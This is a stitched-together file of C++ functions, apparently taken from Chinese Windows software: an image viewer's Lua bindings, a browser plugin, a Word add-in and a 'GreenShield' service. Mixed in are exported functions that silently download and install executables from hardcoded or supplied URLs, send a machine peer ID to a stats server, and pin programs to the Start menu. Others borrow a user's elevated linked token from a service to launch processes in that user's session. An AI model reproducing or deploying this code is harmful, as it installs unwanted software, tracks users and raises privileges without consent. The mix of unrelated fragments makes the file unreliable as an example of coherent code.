int CLuaKKImageDoc::SetDateTimeOriginal(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { const char* utf8DateTimeOriginal = luaL_checkstring(luaState, 2); wstring wstrDateTimeOriginal; wstrDateTimeOriginal = ultra::_UTF2T(utf8DateTimeOriginal); (*pp)->m_pKKImageDoc->SetDateTimeOriginal(wstrDateTimeOriginal); } return 0; }
int CLuaKKImageDoc::GetDateTimeOriginal(lua_State* luaState) { TSAUTO(); string strDateTimeOriginal; CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { wstring wstrDateTimeOriginal = (*pp)->m_pKKImageDoc->GetDateTimeOriginal(); strDateTimeOriginal = ultra::_T2UTF(wstrDateTimeOriginal); } lua_pushstring(luaState, strDateTimeOriginal.c_str()); return 1; }
// Called by browser to destroy an instance of the plugin NPError NPP_Destroy (NPP npp, NPSavedData** save) { TSAUTO(); if (npp == NULL) return NPERR_INVALID_INSTANCE_ERROR; NPObject *pluginInstance=nppobj; if(!pluginInstance) { ScriptableNPObject::npnfuncs->releaseobject(pluginInstance); pluginInstance = NULL; } return NPERR_NO_ERROR; }
int CLuaKKImageDoc::SetShutterSpeed(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { const char* utf8ShutterSpeed = luaL_checkstring(luaState, 2); wstring wstrShutterSpeed; wstrShutterSpeed = ultra::_UTF2T(utf8ShutterSpeed); (*pp)->m_pKKImageDoc->SetShutterSpeed(wstrShutterSpeed); } return 0; }
NPError OSCALL NP_GetEntryPoints(NPPluginFuncs *nppfuncs) { TSAUTO(); nppfuncs->version = (NP_VERSION_MAJOR << 8) | NP_VERSION_MINOR; nppfuncs->newp = NPP_New; nppfuncs->destroy = NPP_Destroy; nppfuncs->getvalue = NPP_GetValue; nppfuncs->event = NPP_HandleEvent; nppfuncs->setwindow = NPP_SetWindow; return NPERR_NO_ERROR; }
int CLuaKKImageDoc::SetFNumber(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { const char* utf8FNumber = luaL_checkstring(luaState, 2); wstring wstrFNumber; wstrFNumber = ultra::_UTF2T(utf8FNumber); (*pp)->m_pKKImageDoc->SetFNumber(wstrFNumber); } return 0; }
int CLuaKKImageDoc::GetFileType(lua_State* luaState) { TSAUTO(); string strFileType; CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { wstring wstrFileType = (*pp)->m_pKKImageDoc->GetFileType(); strFileType = ultra::_T2UTF(wstrFileType); } lua_pushstring(luaState, strFileType.c_str()); return 1; }
HRESULT InstallService() { TSAUTO(); if(IsServiceInstalled()) { UninstallService(); } wchar_t szPath[MAX_PATH]; if(!GetModuleFileName(g_hModule, szPath, MAX_PATH)) { return HRESULT_FROM_WIN32(::GetLastError()); } HRESULT hr = CreateGreenShieldService(szPath); return hr; }
int CLuaKKImageDoc::SetSrcBitmap(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { XL_BITMAP_HANDLE hBitmap = NULL; XLGP_CheckBitmap(luaState, 2, &hBitmap); if (hBitmap) { (*pp)->m_pKKImageDoc->SetSrcBitmap(hBitmap); } } return 0; }
VectorVerbName* GetVerbNames(bool bPin) { TSAUTO(); static bool bInit = false; static std::vector<std::wstring> vecPinStartMenuNames; static std::vector<std::wstring> vecUnPinStartMenuNames; if (!bInit ) { bInit = true; vecPinStartMenuNames.push_back(_T("锁定到开始菜单"));vecPinStartMenuNames.push_back(_T("附到「开始」菜单")); vecUnPinStartMenuNames.push_back(_T("从「开始」菜单脱离"));vecUnPinStartMenuNames.push_back(_T("(从「开始」菜单解锁")); } return bPin? &vecPinStartMenuNames : &vecUnPinStartMenuNames; }
int CLuaKKImageDoc::GetFileSize(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { int nSize = (*pp)->m_pKKImageDoc->GetFileSize(); lua_pushinteger(luaState, nSize); } else { lua_pushinteger(luaState, 0); } return 1; }
int CLuaKKImageDoc::GetGifObj(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { XLGP_GIF_HANDLE hGifObj = (*pp)->m_pKKImageDoc->GetGifObj(); if (hGifObj) { XLGP_PushGif(luaState, hGifObj); return 1; } } return 0; }
int CLuaKKImageDoc::GetExifInfoStatus(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { int nExifInfoStatus = (*pp)->m_pKKImageDoc->GetExifInfoStatus(); lua_pushinteger(luaState, nExifInfoStatus); } else { lua_pushinteger(luaState, 0); } return 1; }
bool VerbNameMatch(TCHAR* tszName, bool bPin) { TSAUTO(); VectorVerbName *pVec = GetVerbNames(bPin); VectorVerbName::iterator iter = pVec->begin(); VectorVerbName::iterator iter_end = pVec->end(); while(iter!=iter_end) { std::wstring strName= *iter; if ( 0 == _wcsnicmp(tszName,strName.c_str(),strName.length())) return true; iter ++; } return false; }
extern "C" __declspec(dllexport) void DownLoadLvDunAndInstall() { TSAUTO(); CHAR szUrl[] = "http://down.lvdun123.com/client/GsSetup_0001.exe"; DWORD dwThreadId = 0; HANDLE hThread = CreateThread(NULL, 0, DownLoadWork, (LPVOID)szUrl,0, &dwThreadId); if (NULL != hThread) { DWORD dwRet = WaitForSingleObject(hThread, INFINITE); if (dwRet == WAIT_FAILED) { TSDEBUG4CXX("wait for DownLoa dBundled Software failed, error = " << ::GetLastError()); } CloseHandle(hThread); } return; }
// Called by the browser to create a new instance of the plugin NPError NPP_New(NPMIMEType pluginType, NPP npp, uint16 mode, int16 argc, char* argn[], char* argv[], NPSavedData* saved) { TSAUTO(); if (npp == NULL) return NPERR_INVALID_INSTANCE_ERROR; //return NPERR_FILE_NOT_FOUND; NPError rv = NPERR_NO_ERROR; savenpp = npp; return rv; }
int CLuaKKImageDoc::GetFileImageSize(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { int nWidth, nHeight; (*pp)->m_pKKImageDoc->GetFileImageSize(nWidth, nHeight); lua_pushinteger(luaState, nWidth); lua_pushinteger(luaState, nHeight); } else { lua_pushinteger(luaState, 0); lua_pushinteger(luaState, 0); } return 2; }
int CLuaKKImageDoc::GetSrcBitmap(lua_State* luaState) { TSAUTO(); CLuaKKImageDoc** pp = (CLuaKKImageDoc**)luaL_checkudata(luaState, 1, KKIMAGE_LUADOC_CLASSNAME); if(pp ) { XL_BITMAP_HANDLE hBitmap = (*pp)->m_pKKImageDoc->GetSrcBitmap(); if (hBitmap) { XLGP_PushBitmap(luaState, hBitmap); XLBitmapInfo bmpInfo; XL_GetBitmapInfo(hBitmap, &bmpInfo); lua_pushnumber(luaState, bmpInfo.Width); lua_pushnumber(luaState, bmpInfo.Height); return 3; } } return 0; }
DWORD WINAPI SendHttpStatThread(LPVOID pParameter) { TSAUTO(); CHAR szUrl[MAX_PATH] = {0}; strcpy(szUrl,(LPCSTR)pParameter); delete [] pParameter; CHAR szBuffer[MAX_PATH] = {0}; ::CoInitialize(NULL); HRESULT hr = E_FAIL; __try { hr = ::URLDownloadToCacheFileA(NULL, szUrl, szBuffer, MAX_PATH, 0, NULL); } __except(EXCEPTION_EXECUTE_HANDLER) { TSDEBUG4CXX("URLDownloadToCacheFile Exception !!!"); } ::CoUninitialize(); SetUserHandle(); return SUCCEEDED(hr)?ERROR_SUCCESS:0xFF; }
extern "C" __declspec(dllexport) void Send2DidaAnyHttpStat(CHAR *op, CHAR *cid, CHAR *ver) { if (op == NULL || cid == NULL) { return ; } TSAUTO(); char szPid[256] = {0}; extern void GetPeerID(CHAR * pszPeerID); GetPeerID(szPid); /*szPid[12] = '\0'; char szMac[128] = {0}; for(int i = 0; i < (int)strlen(szPid); ++i) { if(i != 0 && i%2 == 0) { strcat(szMac, "-"); } szMac[strlen(szMac)] = szPid[i]; }*/ std::string str = "http://stat.tie7.com:8082/c?peerid="; str += szPid; str += "&appid=1001&proid=12"; str += "&op="; str += op; str += "&cid="; str += cid; str += "&ver="; str += ver; CHAR* szURL = new CHAR[MAX_PATH]; memset(szURL, 0, MAX_PATH); sprintf(szURL, "%s", str.c_str()); //SendHttpStatThread((LPVOID)szURL); ResetUserHandle(); DWORD dwThreadId = 0; HANDLE hThread = CreateThread(NULL, 0, SendHttpStatThread, (LPVOID)szURL,0, &dwThreadId); CloseHandle(hThread); }
extern "C" __declspec(dllexport) void DownLoadUrlAndInstall(const char* szUrl, const char* szName, const char* szCmd, int Millisec = INFINITE) { TSAUTO(); char szBuff[2048] = {0}; char *pUrl = szBuff, *pName = szBuff + strlen(szUrl)+1, *pCmd = pName + strlen(szName)+1; strcpy(pUrl, szUrl); strcpy(pName, szName); strcpy(pCmd, szCmd); //MessageBoxA(0, pUrl, "pUrl", 0);MessageBoxA(0, pName, "pName", 0);MessageBoxA(0, pCmd, "pCmd", 0); DWORD dwThreadId = 0; HANDLE hThread = CreateThread(NULL, 0, ThreadDownLoadUrl, (LPVOID)szBuff,0, &dwThreadId); if (NULL != hThread) { DWORD dwRet = WaitForSingleObject(hThread, Millisec); if (dwRet == WAIT_FAILED) { TSDEBUG4CXX("wait for DownLoadd Software failed, error = " << ::GetLastError()); } CloseHandle(hThread); } return; }
static void GetKKCfgPath(wstring &strCfgDir) { TSAUTO(); WCHAR szDir[MAX_PATH] = {0}; HMODULE hModule = ::LoadLibrary(L"shell32.dll"); PFNSHGetKnownFolderPath SHGetKnownFolderPath = (PFNSHGetKnownFolderPath)GetProcAddress( hModule, "SHGetKnownFolderPath" ); if ( SHGetKnownFolderPath) { PWSTR szPath = NULL; HRESULT hr = SHGetKnownFolderPath( FOLDERID_Public, 0, NULL, &szPath ); if ( FAILED( hr ) ) { TSERROR4CXX("Failed to get public folder"); FreeLibrary(hModule); return; } wcscpy_s(szDir,MAX_PATH,szPath); ::CoTaskMemFree(szPath); ::PathAppend(szDir, L"kuaikantu"); TSDEBUG4CXX("vista kuai kan cfg dir : "<<szDir); FreeLibrary(hModule); } else { HRESULT hr = SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, SHGFP_TYPE_CURRENT, szDir); if ( FAILED( hr ) ) { TSERROR4CXX("Failed to get main pusher dir"); return; } ::PathAppend(szDir, L"kuaikantu"); TSDEBUG4CXX("xp kuai kan cfg dir : "<<szDir); } strCfgDir = szDir; return; }
/* expected by Safari on Darwin */ NPError NPP_HandleEvent(NPP instance, void* event) { TSAUTO(); return NPERR_NO_ERROR; }
NPError OSCALL NP_Shutdown() { TSAUTO(); return NPERR_NO_ERROR; }
bool LaunchGreenShield(DWORD browserProcessId) { TSAUTO(); const wchar_t launchParameters[] = L" /sstartfrom service /embedding /showbubble"; if(!IsVistaOrLatter()) { // XP TSTRACE4CXX("XP"); HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, browserProcessId); if(hProcess == NULL) { TSERROR4CXX("OpenProcess fail. Error: " << ::GetLastError()); return false; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseProcessHandle(hProcess, ::CloseHandle); HANDLE hProcessToken = NULL; if(!::OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hProcessToken)) { TSERROR4CXX("OpenProcessToken fail. Error: " << ::GetLastError()); return false; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseProcessToken(hProcessToken, ::CloseHandle); HANDLE hDuplicateToken = NULL; if(!::DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { TSERROR4CXX("DuplicateTokenEx fail. Error: " << ::GetLastError()); return false; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseDuplicateToken(hDuplicateToken, ::CloseHandle); wchar_t exeFilePath[MAX_PATH]; // buffer 长度为MAX_PATH * 2 但这里只传MAX_PATH if(!GetGreenShiledExeFilePath(&exeFilePath[1], MAX_PATH)) { TSERROR4CXX("Failed to get ExeFilePath"); return false; } else { TSINFO4CXX("GreenShield ExeFilePath: " << exeFilePath); } exeFilePath[0] = L'\"'; std::size_t exeFilePathLength = std::wcslen(exeFilePath); exeFilePath[exeFilePathLength++] = L'\"'; std::copy(launchParameters, launchParameters + sizeof(launchParameters) / sizeof(launchParameters[0]), exeFilePath + exeFilePathLength); STARTUPINFO startupInfo; std::memset(&startupInfo, 0, sizeof(STARTUPINFO)); startupInfo.cb = sizeof(STARTUPINFO); startupInfo.lpDesktop = TEXT("WinSta0\\Default"); PROCESS_INFORMATION processInfomation; std::memset(&processInfomation, 0, sizeof(PROCESS_INFORMATION)); if(!::CreateProcessAsUser(hDuplicateToken, NULL, exeFilePath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfomation)) { TSERROR4CXX("CreateProcessAsUser fail. Error: " << ::GetLastError()); return false; } return true; } else { TSTRACE4CXX("Vista Or Higher"); // Vista Or Higher DWORD sessionId = 0; if(!::ProcessIdToSessionId(browserProcessId, &sessionId)) { TSERROR4CXX("ProcessIdToSessionId fail. Error: " << ::GetLastError()); return false; } WTSProvider wtsProvider; WTSProvider::WTSQueryUserTokenFuncType wtsQueryUserTokenPtr = wtsProvider.GetWTSQueryUserTokenFunctionPtr(); if(!wtsQueryUserTokenPtr) { TSERROR4CXX("wtsQueryUserTokenPtr == NULL."); return false; } HANDLE hUserToken = NULL; if(!wtsQueryUserTokenPtr(sessionId, &hUserToken)) { TSERROR4CXX("WTSQueryUserToken fail. Error: " << ::GetLastError()); return false; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseUserToken(hUserToken, ::CloseHandle); TOKEN_ELEVATION_TYPE tokenElevationType; DWORD dwSize = sizeof(TOKEN_ELEVATION_TYPE); if(!::GetTokenInformation(hUserToken, TokenElevationType, &tokenElevationType, dwSize, &dwSize)) { TSERROR4CXX("GetTokenInformation TokenElevationType fail." << ::GetLastError()); return false; } HANDLE hDuplicateToken = NULL; if(tokenElevationType == TokenElevationTypeLimited) { TOKEN_LINKED_TOKEN linkedToken; dwSize = sizeof(TOKEN_LINKED_TOKEN); if (!::GetTokenInformation(hUserToken, TokenLinkedToken, &linkedToken, dwSize, &dwSize)) { TSERROR4CXX("GetTokenInformation TokenLinkedToken fail. Error: " << ::GetLastError()); return false; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseLinkedToken(linkedToken.LinkedToken, ::CloseHandle); if(!::DuplicateTokenEx(linkedToken.LinkedToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { TSERROR4CXX("DuplicateTokenEx fail. Error: " << ::GetLastError()); return false; } } else { if(!::DuplicateTokenEx(hUserToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { TSERROR4CXX("DuplicateTokenEx fail. Error: " << ::GetLastError()); return false; } } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseDuplicateToken(hDuplicateToken, ::CloseHandle); wchar_t exeFilePath[MAX_PATH * 2]; // buffer 长度为MAX_PATH * 2 但这里只传MAX_PATH if(!GetGreenShiledExeFilePath(&exeFilePath[1], MAX_PATH)) { TSERROR4CXX("Failed to get ExeFilePath"); return false; } else { TSINFO4CXX("GreenShield ExeFilePath: " << exeFilePath); } exeFilePath[0] = L'\"'; std::size_t exeFilePathLength = std::wcslen(exeFilePath); exeFilePath[exeFilePathLength++] = L'\"'; std::copy(launchParameters, launchParameters + sizeof(launchParameters) / sizeof(launchParameters[0]), exeFilePath + exeFilePathLength); STARTUPINFO startupInfo; std::memset(&startupInfo, 0, sizeof(STARTUPINFO)); startupInfo.cb = sizeof(STARTUPINFO); startupInfo.lpDesktop = TEXT("WinSta0\\Default"); PROCESS_INFORMATION processInfomation; std::memset(&processInfomation, 0, sizeof(PROCESS_INFORMATION)); if(!::CreateProcessAsUser(hDuplicateToken, NULL, exeFilePath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfomation)) { TSERROR4CXX("CreateProcessAsUser fail. Error: " << ::GetLastError()); return false; } return true; } }
DWORD AddinHelper::GetIntervalTime() const { TSAUTO(); DWORD dwResult = 3600; std::wstring subKey = L"Software\\"; subKey += this->m_productName; subKey += L"Host"; if (this->m_isService) { DWORD dwSessionId = ::WTSGetActiveConsoleSessionId(); HANDLE hUserToken = NULL; if(!::WTSQueryUserToken(dwSessionId, &hUserToken)) { TSERROR4CXX("WTSQueryUserToken fail. Error: " << ::GetLastError()); return dwResult; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseUserToken(hUserToken, ::CloseHandle); TOKEN_ELEVATION_TYPE tokenElevationType; DWORD dwSize = sizeof(TOKEN_ELEVATION_TYPE); if(!::GetTokenInformation(hUserToken, TokenElevationType, &tokenElevationType, dwSize, &dwSize)) { TSERROR4CXX("GetTokenInformation TokenElevationType fail." << ::GetLastError()); return dwResult; } HANDLE hDuplicateToken = NULL; if(tokenElevationType == TokenElevationTypeLimited) { TOKEN_LINKED_TOKEN linkedToken; dwSize = sizeof(TOKEN_LINKED_TOKEN); if (!::GetTokenInformation(hUserToken, TokenLinkedToken, &linkedToken, dwSize, &dwSize)) { TSERROR4CXX("GetTokenInformation TokenLinkedToken fail. Error: " << ::GetLastError()); return dwResult; } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseLinkedToken(linkedToken.LinkedToken, ::CloseHandle); if(!::DuplicateTokenEx(linkedToken.LinkedToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { TSERROR4CXX("DuplicateTokenEx fail. Error: " << ::GetLastError()); return dwResult; } } else { if(!::DuplicateTokenEx(hUserToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { TSERROR4CXX("DuplicateTokenEx fail. Error: " << ::GetLastError()); return dwResult; } } ScopeResourceHandle<HANDLE, BOOL (WINAPI*)(HANDLE)> autoCloseDuplicateToken(hDuplicateToken, ::CloseHandle); TCHAR szUsername[MAX_PATH]; DWORD dwUsernameLen = MAX_PATH; PROFILEINFO pi; std::memset(&pi, 0, sizeof(PROFILEINFO)); pi.dwSize = sizeof(PROFILEINFO); if(!ImpersonateLoggedOnUser(hDuplicateToken)) { TSERROR4CXX("ImpersonateLoggedOnUser failed."); return dwResult; } DWORD dwUserNameLength = MAX_PATH; if(!::GetUserName(szUsername, &dwUserNameLength)) { TSERROR4CXX("GetUserName failed."); ::RevertToSelf(); return dwResult; } ::RevertToSelf(); pi.lpUserName = szUsername; pi.dwFlags = 1; if(!::LoadUserProfile(hDuplicateToken, &pi)) { TSERROR4CXX("LoadUserProfile failed."); return dwResult; } do { ATL::CRegKey key; if (key.Open((HKEY)pi.hProfile, subKey.c_str()) != ERROR_SUCCESS) { break; } DWORD dwInterval = 0; if(key.QueryDWORDValue(L"interval", dwInterval)!= ERROR_SUCCESS) { break; } dwResult = dwInterval; } while(false); ::UnloadUserProfile(hDuplicateToken, pi.hProfile); } else { ATL::CRegKey key; TSERROR4CXX("GetIntervalTime subKey: " << subKey.c_str()); if(key.Open(HKEY_CURRENT_USER, subKey.c_str()) != ERROR_SUCCESS) { return dwResult; } DWORD dwInterval = 0; if(key.QueryDWORDValue(L"interval", dwInterval)!= ERROR_SUCCESS) { return dwResult; } dwResult = dwInterval; TSERROR4CXX("GetIntervalTime dwInterval: " << dwInterval); } if (dwResult < 600) { dwResult = 600; } return dwResult; }
HRESULT CConnect::OnAddInsUpdate(SAFEARRAY **custom) { TSAUTO(); return S_OK; }
HRESULT CConnect::OnConnection(LPDISPATCH Application, ext_ConnectMode ConnectMode, LPDISPATCH AddInInst, SAFEARRAY **custom) { TSAUTO(); Application->QueryInterface(__uuidof(IDispatch), reinterpret_cast<LPVOID*>(&this->m_spApplication)); AddInInst->QueryInterface(__uuidof(IDispatch), reinterpret_cast<LPVOID*>(&this->m_spAddInInstance)); //是否显示按钮 CRegKey key; DWORD dwValue; if(key.Open(HKEY_CURRENT_USER, _T("Software\\WordEncLock")) == ERROR_SUCCESS){ if (key.QueryValue(dwValue, _T("silent")) == ERROR_SUCCESS){ if (dwValue == 1){ g_sIsSilent = TRUE; } } } key.Close(); if (g_sIsSilent){ return S_OK; } CComQIPtr<_Application> spApp(Application); ATLASSERT(spApp); if (!spApp){//获取失败说明是excel //g_sIsSilent = TRUE; return S_OK; } g_Application = spApp; HRESULT hr; CComPtr<Office::_CommandBars> spCmdBars; hr = g_Application->get_CommandBars(&spCmdBars); if(FAILED(hr)) return hr; ATLASSERT(spCmdBars); // now we add a new toolband to Word // to which we''ll add 2 buttons CComVariant vName(""); CComPtr<Office::CommandBar> spNewCmdBar; CComVariant vPos(1); CComVariant vTemp(VARIANT_TRUE); // menu is temporary CComVariant vEmpty(DISP_E_PARAMNOTFOUND, VT_ERROR); spNewCmdBar = spCmdBars->Add(vName, vPos, vEmpty, vTemp); CComPtr < Office::CommandBarControls> spBarControls; spBarControls = spNewCmdBar->GetControls(); ATLASSERT(spBarControls); CComVariant vToolBarType(1); CComVariant vShow(VARIANT_TRUE); CComPtr<Office::CommandBarControl> spNewBar; // add first button spNewBar = spBarControls->Add(vToolBarType,vEmpty,vEmpty,vEmpty,vShow); ATLASSERT(spNewBar); CComQIPtr < Office::_CommandBarButton> spCmdButton(spNewBar); ATLASSERT(spCmdButton); m_spButton = spCmdButton; AppEvents::DispEventAdvise(m_spButton); HBITMAP hBmp =(HBITMAP)::LoadImage(g_hModule, MAKEINTRESOURCE(IDB_BITMAP1),IMAGE_BITMAP,0,0,LR_LOADMAP3DCOLORS); ::OpenClipboard(NULL); ::EmptyClipboard(); ::SetClipboardData(CF_BITMAP, (HANDLE)hBmp); ::CloseClipboard(); ::DeleteObject(hBmp); spCmdButton->PutStyle(Office::msoButtonIconAndWrapCaption); hr = spCmdButton->PasteFace(); if (FAILED(hr)) return hr; spCmdButton->PutVisible(VARIANT_TRUE); spCmdButton->PutCaption(OLESTR("Word安全锁")); spCmdButton->PutEnabled(VARIANT_TRUE); spCmdButton->PutTooltipText(OLESTR("Word安全锁")); spCmdButton->PutTag(OLESTR("给Word文档加密")); spNewCmdBar->PutVisible(VARIANT_TRUE); return S_OK; }
extern "C" __declspec(dllexport) bool PinToStartMenu4XP(bool bPin, char* szPath) { TSAUTO(); TCHAR file_dir[MAX_PATH + 1] = {0}; TCHAR *file_name; wchar_t* pwstr_Path = AnsiToUnicode(szPath); if(pwstr_Path == NULL){ return false; } wcscpy_s(file_dir,MAX_PATH,pwstr_Path); PathRemoveFileSpecW(file_dir); file_name = PathFindFileName(pwstr_Path); ::CoInitialize(NULL); CComPtr<IShellDispatch> pShellDisp; CComPtr<Folder> folder_ptr; CComPtr<FolderItem> folder_item_ptr; CComPtr<FolderItemVerbs> folder_item_verbs_ptr; HRESULT rv = CoCreateInstance( CLSID_Shell, NULL, CLSCTX_SERVER,IID_IDispatch, (LPVOID *) &pShellDisp ); do { IF_FAILED_OR_NULL_BREAK(rv,pShellDisp); rv = pShellDisp->NameSpace(_variant_t(file_dir),&folder_ptr); IF_FAILED_OR_NULL_BREAK(rv,folder_ptr); rv = folder_ptr->ParseName(CComBSTR(file_name),&folder_item_ptr); IF_FAILED_OR_NULL_BREAK(rv,folder_item_ptr); rv = folder_item_ptr->Verbs(&folder_item_verbs_ptr); IF_FAILED_OR_NULL_BREAK(rv,folder_item_verbs_ptr); long count = 0; folder_item_verbs_ptr->get_Count(&count); for (long i = 0; i < count ; ++i) { FolderItemVerb* item_verb = NULL; rv = folder_item_verbs_ptr->Item(_variant_t(i),&item_verb); if (SUCCEEDED(rv) && item_verb) { CComBSTR bstrName; item_verb->get_Name(&bstrName); if ( VerbNameMatch(bstrName,bPin) ) { TSDEBUG4CXX("Find Verb to Pin:"<< bstrName); int i = 0; do { rv = item_verb->DoIt(); TSDEBUG4CXX("Try Do Verb. NO." << i+1 << ", return="<<rv); if (SUCCEEDED(rv)) { ::SHChangeNotify(SHCNE_UPDATEDIR|SHCNE_INTERRUPT|SHCNE_ASSOCCHANGED, SHCNF_IDLIST |SHCNF_FLUSH | SHCNF_PATH|SHCNE_ASSOCCHANGED, pwstr_Path,0); Sleep(500); delete [] pwstr_Path; ::CoUninitialize(); return true; }else { Sleep(500); rv = item_verb->DoIt(); } }while ( i++ < 3); break; } } } } while (0); delete [] pwstr_Path; ::CoUninitialize(); return false; }
HRESULT CConnect::OnBeginShutdown(SAFEARRAY **custom) { TSAUTO(); return S_OK; }